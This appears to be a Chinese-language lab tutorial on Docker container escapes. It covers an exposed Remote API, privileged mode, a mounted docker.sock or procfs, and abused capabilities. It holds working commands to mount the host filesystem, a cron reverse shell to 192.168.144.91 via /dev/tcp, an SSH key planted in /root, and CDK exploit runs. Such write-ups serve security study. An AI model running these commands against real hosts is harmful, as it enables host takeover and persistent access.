Docker逃逸
0x01 判断是否是docker环境
- 检查
/.dockerenv
文件是否存在 - 检查
/proc/1/cgroup
内是否包含docker
等字符串。
0x02 Docker Remote API未授权访问漏洞
背景知识
Docker Remote API 是一个取代远程命令行界面的REST API,docker swarm是docker下的分布化应用的本地集群,在开放2375监听集群容器时,会调用这个api,因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell
docker守护进程监听在0.0.0.0,外网可访问
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
- docker守护进程监听在0.0.0.0,外网可访问
- 没有使用iptable等限制可连接的来源ip。
检验方法:2375端口
下面命令运行docker造成漏洞
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
查看镜像
如果不存在则如下:
存在则如下:
docker -H tcp://192.168.144.92:2375 images
手工利用:写计划任务和写公私钥
将该宿主机的根目录挂在到容器的/mnt目录下
docker -H tcp://192.168.144.92:2375 run -it -v /:/mnt 458575a05d97 /bin/bash
然后写计划任务和写公私钥
计划任务
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.144.91/6666 0>&1' >> /mnt/var/spool/cron/crontabs/root
公私钥
cd /mnt/root/
mkdir .ssh
cd .ssh/
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqAVtXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXJYUk= root@user >> authorized_keys
成功使用公私钥免密登陆
0x03 特权模式
背景知识
在特权模式下,容器拥有所有权利,包括宿主机的一些内核特性和设备访问等
所以在特权模式下,我们可以通过mount目录挂载至主机的硬盘内,让目录成为设备的访问点,实现文件系统层面的逃逸
以特权模式运行一个容器
docker run -it --privileged -d --name vulhub_tomcat vulhub/tomcat:8.0
进入容器docker exec -it a740b2330d09 /bin/bash
检验方法: 0000003fffffffff
第一种grep CapEff /proc/self/status
如果结果是0000003fffffffff
,则是在特权模式下
如果不是,则非特权模式启动
第二种fdisk -l
特权模式下输出下面内容
不以特权模式启动容器做比较,发现输入fdisk -l
查询磁盘时,没有结果返回。
手工利用:计划任务和公私钥
将/dev/vda2磁盘挂载到容器里的某个文件夹里
root@a740b2330d09:/usr/local/tomcat# mkdir /abc
root@a740b2330d09:/usr/local/tomcat# mount /dev/vda2 /abc
root@a740b2330d09:/usr/local/tomcat# ls /abc
再往/abc目录下文件
root@a740b2330d09:/usr/local/tomcat# echo 111 > /abc/root/11111111
成功将文件写入进去
这样也就成功的从容器中逃逸至外部宿主机
后续同样通过写计划任务或者公私钥获取宿主机权限
CDK检测和利用
检测命令
./cdk_linux_amd64_upx evaluate --full
利用命令
root@95a5e37d4649:/tmp# ./cdk_linux_amd64_upx run mount-disk
{
"device": "/dev/sda5",
"mountpoint": "/etc/resolv.conf",
"fstype": "ext4",
"opts": [
"rw",
"relatime",
"bind"
]
}
{
"device": "/dev/sda5",
"mountpoint": "/etc/hostname",
"fstype": "ext4",
"opts": [
"rw",
"relatime",
"bind"
]
}
{
"device": "/dev/sda5",
"mountpoint": "/etc/hosts",
"fstype": "ext4",
"opts": [
"rw",
"relatime",
"bind"
]
}
{
"device": "/dev/sda1",
"mountpoint": "/abc",
"fstype": "vfat",
"opts": [
"rw",
"relatime"
]
}
2022/08/02 13:25:43 found 2 devices in total.
success! device /dev/sda5 was mounted to /tmp/cdk_KBEv3
success! device /dev/sda1 was mounted to /tmp/cdk_YAPBg
root@95a5e37d4649:/tmp# ls /tmp/cdk_KBEv3/
bin boot cdrom dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv swapfile sys tmp usr var
成功的挂在了宿主机的文件,逃逸了出来。后续可以通过写计划任务或者公私钥获取宿主机的权限。
0x04 Docker.sock挂载到了容器里
背景知识
docker是C/S架构,输入docker version
命令实际上是通过客户端将请求发送到同一台电脑上的Doceker Daemon服务,由Docker Daemon返回信息,客户端收到信息后展示在控制台上。
Doceker Daemon
默认监听的是/var/run/docker.sock
这个文件,所以docker客户端只要把请求发往这里,daemon就能收到并且做出响应。也就是向/var/run/docker.sock
发送请求,也能达到docker ps
、docker images ls
这样的效果。
将/var/run/目录挂在到容器里
宿主机的/var/run
目录下有docker.sock
文件
当将docker.sock
文件所在的目录挂在到了容器里时
docker run -it -v /var/run/:/host/var/run/ -d --name vulhub_tomcat2 vulhub/tomcat:8.0
检验方法: docker.sock
查看当前容器里是否能找到docker.sock
find / -name docker.sock
手工利用:计划任务和公私钥
既然宿主机将docker.sock挂载到了容器里,那么要在容器里先安装docker apt install docker.io
安装成功了
查看宿主机Docker信息 docker -H unix:///host/var/run/docker.sock info
运行一个新容器并挂载宿主机根路径,可以看到容器的id变了。此时已经进入到了新的容器里。
同时在新容器/aa路径就能访问宿主机的根目录了
docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash
成功的将内容写进了宿主机里
后续同样可以写计划任务或者公私钥获取宿主机权限
CDK检测和利用
./cdk_linux_amd64_upx evaluate --full
检测
./cdk_linux_amd64_upx run docker-sock-check <sock-path>
./cdk_linux_amd64_upx run docker-sock-check /host/var/run/docker.sock
利用
./cdk_linux_amd64_upx run docker-sock-pwn <sock_path> <shell_cmd>
./cdk_linux_amd64_upx run docker-sock-pwn /host/var/run/docker.sock whoami
0x05 procfs挂载到了容器里
背景知识
linux中的/proc
目录是一个伪文件系统,其中动态反应着系统内进程以及其他组件的状态,其中包含许多的敏感文件,其中/proc/sys/kernel/core_pattern
文件是负责进程奔溃时内存数据转储的,当第一个字符是|
管道符时,后面的的部分会以命令行的方式进行解析并运行。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。此时就可以在挂载了procfs的容器中利用core_pattern后门实现容器逃逸。
将procfs挂载到容器里
docker run -it -v /proc:/mnt/proc -d --name vulhub_tomcat3 vulhub/tomcat:8.0
检验方法: proc
执行如下命令,如果返回的是Yes则说明当前是挂载了procfs,如果返回的是No则不是。
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Yes" || echo "No"
找到挂在的路径是/mnt/proc
find / -name core_pattern
CDK检测和利用
cdk run mount-procfs <proc-dir> "<shell-cmd>"
./cdk_linux_amd64_upx run mount-procfs /mnt/proc "touch /tmp/test_procfs"
成功逃逸到宿主机
0x06 SYS_ADMIN权限滥用
Rewrite Cgroup(devices.allow)管理宿主机文件
背景知识
该漏洞将宿主机cgroup目录挂载到容器内,随后劫持宿主机cgroup的release_agent
文件,通过linux cgroup notify_on_release
机制触发shellcode执行,完成逃逸。
重写当前容器内的 /sys/fs/cgroup/devices/devices.allow
,逃逸特权容器访问宿主机内的文件。
使用SYS_ADMIN
Linux功能运行
该逃逸方法不需要完全的特权模式运行容器,只需要满足:
- 以root用户身份在容器内运行
- 使用
SYS_ADMIN
Linux功能运行 - 缺少AppArmor配置文件,否则将允许mountsyscall
- cgroup v1虚拟文件系统必须以读写方式安装在容器内
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -d --name vulhub_tomcat4 vulhub/tomcat:8.0
CDK检测和利用
./cdk_linux_amd64_upx evaluate --full
./cdk_linux_amd64_upx run rewrite-cgroup-devices
debugfs -w cdk_mknod_result
ls -l /root/.ssh
0x07 CAP_DAC_READ_SEARCH权限滥用
背景知识
以root身份运行容器不是很安全,root拥有全部的权限,因此很危险,如果以非root身份运行容器那么将处处受,所以需要一种技术,能选择容器运行所需的root用户权限。
靶场命令
docker run -it --cap-add DAC_READ_SEARCH -d --name vulhub_tomcat5 vulhub/tomcat:8.0
CDK检测和利用
检测
./cdk_linux_amd64_upx evaluate --full
利用
./cdk_linux_amd64_upx run cap-dac-read-search 文件名
./cdk_linux_amd64_upx run cap-dac-read-search /etc/hosts
./cdk_linux_amd64_upx run cap-dac-read-search /etc/passwd
似乎只能读文件
0x08 SYS_MODULE 权限滥用
靶场命令
docker run -it --cap-add SYS_MODULE --name=docker_escape ubuntu:latest /bin/bash
CDK检测
利用 反弹shell
反弹shell利用文章:https://www.modb.pro/db/423144
0x09 SYS_PTRACE权限滥用
背景知识
当容器需要调试测试时就需要添加PTRACE
权限,我们就可以利用这一权限进行进程代码注入
靶场命令
docker run -it --cap-add SYS_PTRACE --pid=host --security-opt apparmor=unconfined -d --name vulhub_tomcat7 vulhub/tomcat:8.0
手工利用
通过shellcode获取权限
https://www.modb.pro/db/423144
CDK检测
./cdk_linux_amd64_upx run check-ptrace
0x10 lxcfs
背景知识
首先简单介绍一下lxcfs
,lxcfs 是一个开源的 FUSE(用户态文件系统)实现来支持 LXC 容器,它也可以支持 Docker 容器。让容器内的应用在读取内存和 CPU 信息的时候通过 lxcfs 的映射,转到自己的通过对 cgroup 中容器相关定义信息读取的虚拟数据上
首先在宿主机上安装lxcfs
,修改/var/lib/lxcfs
权限
apt install lxcfs
lxcfs /var/lib/lxcfs
靶场命令
docker run -it -v /var/lib/lxcfs/:/test/lxcfs -d --name vulhub_tomcat8 vulhub/tomcat:8.0
CDK检测和利用
./cdk_linux_amd64_upx run lxcfs-rw
debugfs -w host_dev
0x11 参考链接
https://www.anquanke.com/post/id/179623
https://www.cnblogs.com/xiaozi/p/13423853.html
https://www.cdxy.me/?p=840
https://www.modb.pro/db/423145
https://www.modb.pro/db/423144